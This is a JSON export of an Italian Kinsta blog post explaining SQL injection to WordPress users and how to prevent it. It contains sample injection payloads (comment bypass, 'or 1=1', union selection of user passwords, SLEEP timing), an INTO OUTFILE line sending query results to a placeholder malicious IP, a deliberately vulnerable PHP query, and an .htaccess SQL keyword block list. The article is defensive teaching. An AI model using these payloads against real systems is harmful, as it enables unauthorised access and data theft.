{"id":31805,"date":"2020-01-17T02:07:03","date_gmt":"2020-01-17T10:07:03","guid":{"rendered":"https:\/\/staging.kinsta.site\/?p=62827"},"modified":"2022-07-16T14:43:57","modified_gmt":"2022-07-16T13:43:57","slug":"sql-injection","status":"publish","type":"post","link":"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/","title":{"rendered":"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress"},"content":{"rendered":"<p>SQL (Structured Query Language) \u00e8 un linguaggio che ci permette di interagire con i <a href=\"https:\/\/staging.kinsta.site\/it\/knowledgebase\/database-wordpress\/\">database<\/a>. Le moderne applicazioni web utilizzano database per gestire i dati e visualizzare contenuti dinamici ai lettori.<\/p>\n<p>SQL injection, o SQLi, \u00e8 un attacco portato ad un&#8217;applicazione web che compromette il database attraverso dichiarazioni SQL dannose.<\/p>\n<p>Dato che si tratta di un attacco frequente, cerchiamo di capire meglio cos&#8217;\u00e8, come succede e come difendersi.<\/p>\n<p>Pronti? Cominciamo!<\/p>\n<div><\/div><kinsta-auto-toc heading=\"Table of Contents\" exclude=\"last\" list-style=\"arrow\" selector=\"h2\" count-number=\"-1\"><\/kinsta-auto-toc>\n<h2 id=\"what-is-sql-injection\">Cosa \u00e8 una SQL Injection?<\/h2>\n<p>SQL injection, o SQLi, \u00e8 un tipo di attacco portato ad un&#8217;applicazione web che consente a un aggressore di inserire istruzioni SQL dannose nell&#8217;applicazione, ottenendo potenzialmente l&#8217;accesso a dati sensibili presenti nel database o distruggendo questi dati. SQL injection \u00e8 stato scoperto per la prima volta da Jeff Forristal nel 1998.<\/p>\n<p>Nei vent&#8217;anni dalla sua scoperta, l&#8217;SQL injection \u00e8 sempre stata la priorit\u00e0 assoluta degli <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/assumere-uno-sviluppatore-wordpress\/\">sviluppatori web<\/a> nella progettazione di applicazioni.<\/p>\n<p>Nel 2012, Barclaycard ha stimato che <a href=\"https:\/\/www.techworld.com\/news\/security\/barclays-97-percent-of-data-breaches-still-due-sql-injection-3331283\/\">il 97% delle violazioni di dati inizia con un attacco SQL injection<\/a>. Le SQL injection sono prevalenti ancora oggi e la gravit\u00e0 degli attacchi di iniezione in un&#8217;applicazione web \u00e8 ampiamente riconosciuta. \u00c8 uno dei <a href=\"https:\/\/www.owasp.org\/images\/7\/72\/OWASP_Top_10-2017_%2528en%2529.pdf.pdf\">dieci rischi pi\u00f9 critici per la sicurezza delle applicazioni web<\/a> secondo l&#8217;OWASP.<\/p>\n<h2 id=\"how-does-the-sql-injection-vulnerability-work\">Come Funziona la Vulnerabilit\u00e0 delle SQL Injection?<\/h2>\n<p>Una vulnerabilit\u00e0 da SQL injection d\u00e0 a un aggressore l&#8217;accesso completo al database della vostra applicazione attraverso l&#8217;uso di istruzioni SQL dannose.<\/p>\n<p>In questa sezione, mostriamo un esempio di come si presenta un&#8217;applicazione vulnerabile.<\/p>\n<p>Immaginate il flusso di lavoro di una tipica applicazione web che coinvolge le richieste di database attraverso gli input degli utenti. Si prende l&#8217;input dell&#8217;utente attraverso un modulo, ad esempio un <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/url-login-wordpress\/\">modulo di login<\/a>. Si interroga quindi il proprio database con i campi inviati dall&#8217;utente per l&#8217;autenticazione. La struttura della query sul database \u00e8 qualcosa del genere:<\/p>\n<pre><code class=\"language-sql\">select * from user_table\nwhere\u00a0username = 'sdaityari'\nand\u00a0password = 'mypassword';\n<\/code><\/pre>\n<p>Per semplicit\u00e0, supponiamo che le password siano memorizzate come testo in chiaro. \u00c8 comunque una buona prassi <a href=\"https:\/\/staging.kinsta.site\/it\/knowledgebase\/sali-di-wordpress\/\">salare le vostre password<\/a> e quindi metterle a posto. Andando avanti, se avete ricevuto il nome utente e la password dal modulo, potete definire la query in PHP come segue:<\/p>\n<pre><code class=\"language-php\">\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query\n<\/code><\/pre>\n<p>Se qualcuno inserisce il valore &#8220;admin&#8217;;-&#8221; nel campo username, la query SQL risultante generata dalla variabile $db_query sar\u00e0 la seguente:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin';--' and password = 'mypassword'\n<\/code><\/pre>\n<p>A cosa serve questa domanda?<\/p>\n<p>Un commento in SQL inizia con un doppio trattino (&#8211;). La query risultante filtra solo in base al nome utente, senza prendere in considerazione la password. Se non ci fosse alcuna misura di sicurezza per evitarlo, vi sarebbe semplicemente concesso l&#8217;accesso all&#8217;applicazione web come amministratore semplicemente utilizzando questo trucco.<\/p>\n<p>In alternativa, in questo esempio si pu\u00f2 utilizzare anche un attacco booleano per ottenere l&#8217;accesso. Se un aggressore inserisce &#8220;password&#8221; o 1=1;-&#8221; nel campo della password, la richiesta risultante sarebbe la seguente:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';\n<\/code><\/pre>\n<p>In questo caso, anche se la vostra password \u00e8 sbagliata, verreste autenticati nell&#8217;applicazione. Se la vostra pagina web visualizza i risultati dell&#8217;interrogazione del database, l&#8217;aggressore pu\u00f2 utilizzare il comando show tables, che \u00e8 il comando per visualizzare le tabelle presenti nel database, e poi, se lo desidera, pu\u00f2 selezionare le tabelle in modo selettivo.<\/p>\n<figure style=\"width: 666px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2019\/11\/cartone-animato-sql-injection-1-1.png\" alt=\"Un fumetto su SQL injection\" width=\"666\" height=\"205\"><figcaption class=\"wp-caption-text\">Un fumetto su SQL injection (sorgente immagine: <a href=\"https:\/\/xkcd.com\/327\/\">XKCD<\/a>)<\/figcaption><\/figure>\n<p>Exploits of a Mom, un popolare fumetto di XKCD, mostra la conversazione di una madre con la scuola del figlio, dove le viene chiesto se ha davvero chiamato suo figlio &#8220;Robert&#8217;); DROP TABLE Students; &#8211;&#8220;.<\/p>\n<h2 id=\"types-of-sql-injection\">Tipi di SQL Injection<\/h2>\n<p>Ora che si conoscono le nozioni di base di una vulnerabilit\u00e0 da SQL injection, esploriamo i vari tipi di attacchi SQL injection e il motivo che sta dietro a ciascuno di essi.<\/p>\n<h3>Iniezione SQL In-Band<\/h3>\n<p>L&#8217;SQL injection in-Band \u00e8 la forma pi\u00f9 semplice di SQL injection. In questo processo, l&#8217;aggressore \u00e8 in grado di utilizzare lo stesso canale per inserire il codice SQL dannoso nell&#8217;applicazione e raccogliere i risultati. Discuteremo di due forme di attacchi SQL injection in-band:<\/p>\n<h4>Attacco Basato su Errori<\/h4>\n<p>Un attaccante utilizza una tecnica di SQL injection basata su errori durante le fasi iniziali del suo attacco. L&#8217;idea alla base di una SQL injection basata su errori \u00e8 quella di ottenere ulteriori informazioni sulla struttura del database e sui nomi delle tabelle utilizzate dall&#8217;applicazione web. Ad esempio, un messaggio di errore pu\u00f2 contenere il nome della tabella incluso nella query e i nomi delle colonne della tabella. Questi dati possono poi essere utilizzati per creare nuovi attacchi.<\/p>\n<h4>Attacco Union-Based<\/h4>\n<p>In questo metodo, un attaccante utilizza una union join SQL per visualizzare i risultati di una tabella diversa. Ad esempio, se un aggressore si trova su una <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/ricerca-wordpress\/\">pagina di ricerca<\/a>, pu\u00f2 aggiungere i risultati di un&#8217;altra tabella.<\/p>\n<pre><code class=\"language-sql\">select title, link from post_table\nwhere id &lt; 10\nunion\nselect username, password\nfrom user_table; --;\n<\/code><\/pre>\n<h3>SQL Injection Inferenziale (Blind SQL Injection)<\/h3>\n<p>Anche se un aggressore genera un errore nella query SQL, la risposta della query non pu\u00f2 essere trasmessa direttamente alla pagina web. In tal caso, l&#8217;aggressore deve sondare ulteriormente.<\/p>\n<p>In questa forma di SQL injection, l&#8217;aggressore invia diverse interrogazioni al database per valutare come l&#8217;applicazione analizza queste risposte. Un&#8217;iniezione SQL inferenziale \u00e8 talvolta nota anche come <strong>Blind SQL injection<\/strong>. Di seguito vedremo due tipi di SQL injection inferenziali: SQL injection booleana e SQL injection basata sul tempo.<\/p>\n<h4>Attacco Booleano<\/h4>\n<p>Se una query SQL d\u00e0 come risultato un errore che non \u00e8 stato gestito internamente nell&#8217;applicazione, la pagina web risultante pu\u00f2 emettere un errore, caricare una pagina vuota o caricare parzialmente. In una SQL injection booleana, un attaccante valuta quali parti dell&#8217;input di un utente sono vulnerabili alle SQL injection provando due diverse versioni di una clausola booleana attraverso l&#8217;input:<\/p>\n<ul>\n<li>&#8220;\u2026 and 1=1&#8221;<\/li>\n<li>&#8220;\u2026 and 1=2&#8221;<\/li>\n<\/ul>\n<p>Se l&#8217;applicazione funziona normalmente nel primo caso, ma mostra un&#8217;anomalia nel secondo caso, indica che l&#8217;applicazione \u00e8 vulnerabile ad un attacco SQL injection.<\/p>\n<h4>Attacco Basato sul Tempo<\/h4>\n<p>Un attacco SQL injection basato sul tempo pu\u00f2 anche aiutare un aggressore a <a href=\"https:\/\/staging.kinsta.site\/it\/knowledgebase\/segnalare-vulnerabilita-sicurezza\/\">determinare se una vulnerabilit\u00e0 \u00e8 presente<\/a> in un&#8217;applicazione web. Un aggressore utilizza una funzione predefinita basata sul tempo del sistema di gestione del database che viene utilizzata dall&#8217;applicazione. Ad esempio, <a href=\"https:\/\/staging.kinsta.site\/it\/knowledgebase\/cosa-e-mysql\/\">in MySQL<\/a>, <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/miscellaneous-functions.html#function_sleep\">la funzione sleep()<\/a> indica al database di attendere un certo numero di secondi.<\/p>\n<pre><code class=\"language-sql\">select * from comments\nWHERE post_id=1-SLEEP(15);\n<\/code><\/pre>\n<p>Se una tale query comporta un ritardo, l&#8217;aggressore saprebbe che \u00e8 vulnerabile.<\/p>\n<h3>Iniezione SQL Fuori Banda<\/h3>\n<p>In questo caso un aggressore non \u00e8 in grado di raccogliere i risultati di una SQL injection attraverso lo stesso canale. Le tecniche di SQL injection fuori banda possono essere utilizzate come alternativa alle tecniche di SQL injection inferenziale.<\/p>\n<p>In genere, queste tecniche comportano l&#8217;invio di dati dal database a un luogo malevolo scelto dall&#8217;aggressore. Questo processo dipende fortemente anche dalle capacit\u00e0 del sistema di gestione del database.<\/p>\n<p>Un attacco SQL injection fuori banda utilizza una capacit\u00e0 di processo dei file esterno del vostro DBMS. In MySQL, le funzioni LOAD_FILE() e INTO OUTFILE possono essere utilizzate per richiedere a MySQL di trasmettere i dati a una fonte esterna. Ecco come un aggressore potrebbe utilizzare OUTFILE per inviare i risultati di una query a una fonte esterna:<\/p>\n<pre><code class=\"language-sql\">select * from post_table\ninto OUTFILE '\\\\\\\\MALICIOUS_IP_ADDRESS\\location'\n<\/code><\/pre>\n<p>Allo stesso modo, la funzione LOAD_FILE() pu\u00f2 essere utilizzata per leggere un file dal server e visualizzarne il contenuto. Una combinazione di LOAD_FILE() e OUTFILE pu\u00f2 essere utilizzata per leggere il contenuto di un file sul server e poi trasmetterlo in un&#8217;altra posizione.<\/p>\n<h2 id=\"how-to-prevent-sql-injections\">Come Prevenire le SQL Injection<\/h2>\n<p>Finora abbiamo esplorato le vulnerabilit\u00e0 di un&#8217;applicazione web che possono portare ad attacchi SQL injection. Una vulnerabilit\u00e0 SQL injection pu\u00f2 essere utilizzata da un aggressore per leggere, modificare o anche rimuovere il contenuto del vostro database.<\/p>\n<p>Inoltre, pu\u00f2 anche permettere di leggere un file in qualsiasi posizione all&#8217;interno del server e trasferire il contenuto altrove. In questa sezione, esploriamo varie tecniche per proteggere la vostra applicazione web e il vostro sito contro gli attacchi SQL injection.<\/p>\n<h3>Effettuare l&#8217;Escape dell&#8217;Input dell&#8217;Utente<\/h3>\n<p>In generale, \u00e8 difficile determinare se una stringa utente sia o meno dannosa. Pertanto, il modo migliore di procedere \u00e8 quello di effettuare l&#8217;escape dei caratteri speciali presenti nell&#8217;input dell&#8217;utente.<\/p>\n<p>Questo vi salva da un attacco SQL injection. Potete eseguire l&#8217;escape di una stringa prima di costruire la query in <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/php-e-morto\/\">PHP<\/a> utilizzando la funzione <code>mysql_escape_string()<\/code>. \u00c8 anche possibile eseguire l&#8217;escape di una stringa in MySQL utilizzando la funzione <code>mysqli_real_escape_string()<\/code>.<\/p>\n<p>Durante la visualizzazione dell&#8217;output come HTML, dovrete anche convertire la stringa per assicurarvi che i caratteri speciali non interferiscano con il markup HTML. \u00c8 possibile convertire caratteri speciali in PHP utilizzando la funzione <code>htmlspecialchars()<\/code>.<\/p>\n<h3>Utilizzare le Dichiarazioni Preparate<\/h3>\n<p>In alternativa, potete utilizzare le dichiarazioni preparate per evitare le iniezioni SQL. Uno statement preparato \u00e8 un template di una query SQL in cui si specificano i parametri in una fase successiva per la sua esecuzione. Ecco un esempio di una dichiarazione preparata in PHP e MySQLi.<\/p>\n<pre><code class=\"language-php\">$query = $mysql_connection-&gt;prepare(\"select * from user_table where username = ? and password = ?\");\n$query-&gt;execute(array($username, $password));<\/code><\/pre>\n<h3>Altri Controlli d&#8217;Igiene per Prevenire Attacchi SQL<\/h3>\n<p>Il passo successivo per attenuare questa vulnerabilit\u00e0 \u00e8 quello di limitare l&#8217;accesso al database solo a ci\u00f2 che \u00e8 necessario.<\/p>\n<p>Ad esempio, collegate la vostra applicazione web al DBMS utilizzando un utente specifico, che ha accesso solo al database interessato.<\/p>\n<p>Limitate l&#8217;accesso dell&#8217;utente del database a tutte le altre location del server. Potreste anche bloccare alcune parole chiave SQL nel vostro URL attraverso il vostro server. Se utilizzate <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/nginx-verso-apache\/\">Apache<\/a> come server web, potete utilizzare le seguenti righe di codice nel <a href=\"https:\/\/staging.kinsta.site\/it\/knowledgebase\/file-htaccess-wordpress\/\">file .htaccess<\/a> per mostrare un errore 403 Forbidden a un potenziale aggressore.<\/p>\n<p>Dovete fare attenzione prima di utilizzare questa tecnica, perch\u00e9 Apache mostrer\u00e0 un errore al lettore se l&#8217;URL contiene queste parole chiave.<\/p>\n<pre><code>RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta esegue WordPress su server Nginx, che non supporta un file .htaccess. Se desiderate impostare una regola per bloccare le parole chiave sul vostro URL, contattate il <a href=\"https:\/\/staging.kinsta.site\/docs\/wordpress-support-ticket\/\">team di supporto di Kinsta<\/a> che vi sar\u00e0 di aiuto.<\/p>\n<\/aside>\n\n<p>Come ulteriore consiglio di prevenzione, si dovrebbe sempre utilizzare un <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/wordpress-hacked\/#2-keep-your-site-updated\">software aggiornato<\/a>. Quando viene rilasciata una nuova versione o una patch, i bug che sono stati corretti nell&#8217;aggiornamento sono dettagliati nelle note di rilascio. Una volta che i dettagli di un bug sono resi pubblici, eseguire una vecchia versione di un qualsiasi software pu\u00f2 essere rischioso.<\/p>\n<h2 id=\"sql-injection-in-wordpress\">SQL Injection in WordPress<\/h2>\n<p>Siete al sicuro da qualsiasi vulnerabilit\u00e0 da SQL injection se utilizzate i <a href=\"https:\/\/staging.kinsta.site\/it\/knowledgebase\/core-wordpress\/\">file core di WordPress aggiornati<\/a>. Tuttavia, quando si utilizzano plugin e <a href=\"https:\/\/staging.kinsta.site\/it\/migliori-temi-wordpress\/\">temi di terze parti<\/a>, l&#8217;intera applicazione \u00e8 a rischio.<\/p>\n<p><strong>Il vostro sito WordPress \u00e8 forte solo quanto il suo anello pi\u00f9 debole<\/strong>. In questa sezione, presentiamo le considerazioni chiave per mitigare la vulnerabilit\u00e0 da SQL injection in WordPress e spieghiamo come eseguire i controlli di vulnerabilit\u00e0 sul vostro sito WordPress.<\/p>\n<h3>Prevenire le Vulnerabilit\u00e0 da SQL Injection in WordPress<\/h3>\n<p>Per mitigare la vulnerabilit\u00e0 da SQL Injection nel vostro <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/come-installare-un-tema-wordpress\/\">tema<\/a> o plugin di WordPress, la prima regola da seguire \u00e8 quella di utilizzare sempre le <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/\">funzioni WordPress esistenti<\/a> quando si interagisce con il database.<\/p>\n<p>Queste funzioni vengono accuratamente testate per le vulnerabilit\u00e0 da SQL injection durante il processo di sviluppo di WordPress. Per esempio, se si vuole aggiungere un commento ad un post, usate la <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/wp_insert_comment\/\">funzione wp_insert_comment()<\/a> invece di inserire i dati direttamente nella tabella wp_comments.<\/p>\n<p>Sebbene le funzioni sono estendibili, occasionalmente potrebbe essere necessario eseguire una query complessa. In tal caso, assicuratevi di utilizzare il <a href=\"https:\/\/developer.wordpress.org\/reference\/classes\/wpdb\/\">gruppo di funzioni $wp_db<\/a>. Si pu\u00f2 utilizzare $wpdb-&gt;prepare() per effettuare l&#8217;escape dell&#8217;input dell&#8217;utente prima di creare la query.<\/p>\n<p>Inoltre, ecco <a href=\"https:\/\/developer.wordpress.org\/themes\/theme-security\/data-sanitization-escaping\/\">un elenco di funzioni per la sanitizzazione dei dati<\/a> in WordPress. Questi aiutano ad effettuare l&#8217;escape di specifici tipi di input degli utenti, come email e URL.<\/p>\n<h3>Proteggere il Vostro Sito WordPress<\/h3>\n<p>Anche se <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/wordpress-e-sicuro\/\">WordPress stesso \u00e8 sicuro<\/a>, problemi come software core obsoleto e <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/plugin-temi-wordpress-annullati\/\">plugin annullati<\/a> possono aprire delle vulnerabilit\u00e0. Anche se non c&#8217;\u00e8 alternativa al controllo del vostro sito WordPress per verificare le vulnerabilit\u00e0 da SQL injection, la complessit\u00e0 di un sito web pu\u00f2 renderlo un compito impegnativo.<\/p>\n<p>\u00c8 possibile utilizzare uno strumento di scansione online come <a href=\"https:\/\/db.threatpress.com\/\">ThreatPass<\/a> e <a href=\"https:\/\/wpscan.org\/\">WPScan<\/a> Vulnerability Database. Potete controllare i vostri plugin per vedere se il loro sviluppo si \u00e8 bloccato. Se sono stati abbandonati da tempo, potrebbe non essere una buona idea utilizzarli sul vostro sito.<\/p>\n<p>Se avete ancora bisogno di utilizzarli assolutamente, assicuratevi di testarne accuratamente il codice e le rispettive funzionalit\u00e0 per individuare eventuali vulnerabilit\u00e0. Oltre a questo, assicuratevi di seguire questi controlli d&#8217;igiene:<\/p>\n<ul>\n<li>Aggiornate PHP, WordPress core e MySQL<\/li>\n<li>Aggiornate plugin e temi di terze parti<\/li>\n<li>Evitate di usare l&#8217;utente root per collegarvi al database SQL<\/li>\n<li>Limitate gli accessi dell&#8217;utente SQL alle directory sensibili<\/li>\n<li>Bloccate le keyword SQL utilizzando il vostro server<\/li>\n<li>Conservate i backup del sito all&#8217;esterno in caso di danni irreversibili<\/li>\n<\/ul>\n<p>Ecco <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/wordpress-e-sicurezza\/\">un post dettagliato sulla Sicurezza di WordPress<\/a> e un elenco esaustivo di controlli. Inoltre, potreste anche pensare di investire in questi <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/plugin-sicurezza-wordpress\/\">plugin di sicurezza per WordPress<\/a>. Ecco cosa dovreste fare se, nonostante tutti i vostri sforzi, <a href=\"https:\/\/staging.kinsta.site\/it\/blog\/wordpress-hacked\/\">il vostro sito WordPress viene violato<\/a>.<\/p>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta fornisce una <a href=\"https:\/\/staging.kinsta.site\/it\/knowledgebase\/sicurezza-antimalware\/\">garanzia di sicurezza antimalware<\/a>\u00a0a tutti i suoi clienti su tutti i piani.<\/p>\n<\/aside>\n\n<h2 id=\"is-sql-injection-illegal\">La SQL Injection \u00c8 Illegale?<\/h2>\n<p>Sicuramente s\u00ec! Anche se c&#8217;\u00e8 una vera e propria vulnerabilit\u00e0, un aggressore sta comunque cercando di accedere a dati che altrimenti non sarebbero disponibili.<\/p>\n<p>Immaginate uno scenario in cui qualcuno lascia le chiavi in macchina. Andarsene via in macchina costituisce un&#8217;offesa solo perch\u00e9 \u00e8 stata lasciata aperta e incustodita? L&#8217;atto di SQLi viene perseguito in base a diverse leggi in vari paesi. Rientra nel campo di applicazione del <a href=\"https:\/\/www.justice.gov\/sites\/default\/files\/criminal-ccips\/legacy\/2015\/01\/14\/ccmanual.pdf\">Computer Fraud and Abuse Act (1986) degli Stati Uniti<\/a> e del <a href=\"http:\/\/www.legislation.gov.uk\/ukpga\/1990\/18\/contents\">Computer Misuse Act (1990) del Regno Unito<\/a>.<\/p>\n\n<h2>Riepilogo<\/h2>\n<p>Le vulnerabilit\u00e0 da SQL injection sono state scoperte molto tempo fa. Tuttavia, <a href=\"https:\/\/www.webarxsecurity.com\/website-hacking-statistics-2018-february\/\">un rapporto del 2018 sui siti web hackerati<\/a> indica che SQLi \u00e8 il pi\u00f9 comune hack di siti web per WordPress, dopo gli attacchi XSS. Per evitarli, dovreste:<\/p>\n<ul>\n<li>Capire come funziona la vulnerabilit\u00e0 da SQL Injection<\/li>\n<li>Indagare sui vari modi in cui gli aggressori possono utilizzare SQLi per ottenere l&#8217;accesso non autorizzato alla vostra applicazione web<\/li>\n<li>Implementare metodi per salvaguardare il vostro sito web da attacchi SQLi, come l&#8217;escape dell&#8217;input degli utenti e l&#8217;utilizzo di dichiarazioni preparate<\/li>\n<li>Seguire una routine di controllo di sicurezza<\/li>\n<\/ul>\n<p>Come dice il vecchio detto: &#8220;Meglio essere sicuri, che dispiaciuti!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL (Structured Query Language) \u00e8 un linguaggio che ci permette di interagire con i database. Le moderne applicazioni web utilizzano database per gestire i dati e &#8230;<\/p>\n","protected":false},"author":118,"featured_media":31808,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_kinsta_gated_content":false,"_kinsta_gated_content_redirect":"","footnotes":""},"tags":[30,6334],"topic":[],"class_list":["post-31805","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-sicurezza-web","tag-wordpresshack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v17.1.2 (Yoast SEO v25.8) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SQL Injection: Una Guida per Principianti per gli Utenti di WordPress<\/title>\n<meta name=\"description\" content=\"Scoprite cos&#039;\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress\" \/>\n<meta property=\"og:description\" content=\"Scoprite cos&#039;\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/\" \/>\n<meta property=\"og:site_name\" content=\"Kinsta\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/kinstaitalia\/\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-17T10:07:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-07-16T13:43:57+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1460\" \/>\n\t<meta property=\"og:image:height\" content=\"730\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Shaumik Daityari\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:description\" content=\"Scoprite cos&#039;\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@Kinsta_IT\" \/>\n<meta name=\"twitter:site\" content=\"@Kinsta_IT\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Shaumik Daityari\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/\"},\"author\":{\"name\":\"Shaumik Daityari\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\"},\"headline\":\"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress\",\"datePublished\":\"2020-01-17T10:07:03+00:00\",\"dateModified\":\"2022-07-16T13:43:57+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/\"},\"wordCount\":2383,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/#organization\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg\",\"keywords\":[\"sicurezza web\",\"wordpresshack\"],\"articleSection\":[\"Sicurezza di WordPress\"],\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/\",\"url\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/\",\"name\":\"SQL Injection: Una Guida per Principianti per gli Utenti di WordPress\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg\",\"datePublished\":\"2020-01-17T10:07:03+00:00\",\"dateModified\":\"2022-07-16T13:43:57+00:00\",\"description\":\"Scoprite cos'\u00e8 una SQL injection, come pu\u00f2 esistere la vulnerabilit\u00e0 della SQL injection nelle vostre applicazioni web (come i siti WordPress) e come prevenire gli attacchi.\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#primaryimage\",\"url\":\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/it\/wp-content\/uploads\/sites\/2\/2020\/01\/sql-injection.jpg\",\"width\":1460,\"height\":730,\"caption\":\"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/blog\/sql-injection\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.kinsta.site\/it\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SQL Injection: Una Guida Introduttiva per gli Utenti di WordPress\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.kinsta.site\/it\/#website\",\"url\":\"https:\/\/staging.kinsta.site\/it\/\",\"name\":\"Kinsta\",\"description\":\"Soluzioni di hosting premium, veloci e 